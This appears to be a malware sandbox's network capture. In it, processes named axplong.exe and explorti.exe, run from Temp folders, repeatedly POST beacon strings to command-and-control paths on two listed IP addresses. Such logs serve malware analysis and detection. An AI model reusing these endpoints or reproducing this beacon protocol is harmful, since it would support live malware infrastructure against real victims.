Jul 27, 2024 12:03:00.473923922 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:00.726002932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49862	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:00.833973885 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:01.594207048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:01.594923019 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:01.846177101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49863	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:00.835578918 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:01.605784893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:01.606410980 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:01.856451035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49864	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:01.976387024 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:02.714771986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49865	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:01.976583004 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:02.717113018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:02.717828989 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:02.962692976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49866	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:02.723591089 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:03.485723019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49867	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:03.074265957 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:03.819971085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:03.823069096 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:04.070271015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49870	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:03.599960089 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:04.367593050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49871	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:04.185575962 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:04.944087029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49872	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:04.377850056 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:05.140214920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49873	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:04.952470064 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:05.725969076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49874	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:05.251667023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:06.000931978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49875	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:05.857424021 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:06.713583946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49876	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:06.010366917 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:06.777587891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49877	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:06.722161055 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:07.612641096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49878	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:06.938561916 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:07.690279961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:07.693284035 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:07.945121050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49879	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:07.729816914 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:08.490544081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49880	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:03:08.070382118 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:08.813924074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:08.818327904 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:03:09.064071894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49881	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
